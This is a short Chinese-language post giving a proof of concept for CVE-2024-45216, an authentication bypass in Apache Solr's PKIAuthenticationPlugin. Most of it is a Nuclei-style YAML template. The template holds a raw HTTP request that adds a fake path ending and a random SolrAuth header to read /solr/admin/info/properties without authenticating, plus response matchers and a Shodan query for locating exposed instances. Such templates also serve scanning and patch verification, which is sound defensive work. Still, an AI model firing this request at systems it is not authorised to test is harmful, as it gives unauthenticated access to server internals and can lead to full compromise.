Apache Solr 认证绕过漏洞(CVE-2024-45216) PoC

攻击者可构造恶意请求利用 PKIAuthenticationPlugin 造成权限绕过，从而可在未认证的情况下调用。未授权的攻击者可以利用该漏洞绕过身份验证，严重可导致服务器失陷。

POC:

id: CVE-2024-45216

info:
  name: Apache Solr - Authentication Bypass
  author: gumgum
  severity: critical
  description: |
    Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.
  impact: |
    Users are recommended to upgrade to version 9.7.0, or 8.11.4, which fix the issue.
  reference:
    - https://shfsec.com/cve-2024-45216-authentication-bypass-in-apache-solr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45216
    - https://solr.apache.org/security html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
    - https://solr.apache.org/security.html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45216
    cwe-id: CWE-863,CWE-287
    epss-score: 0.00043
    epss-percentile: 0.09834
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Apache Solr"
  tags: cve,cve2024,apache,solr,auth-bypass

http:
  - raw:
      - |
        GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
        Host: {{Hostname}}
        SolrAuth: {{to_lower(rand_text_alpha(5))}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "responseHeader"
          - "system.properties"
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200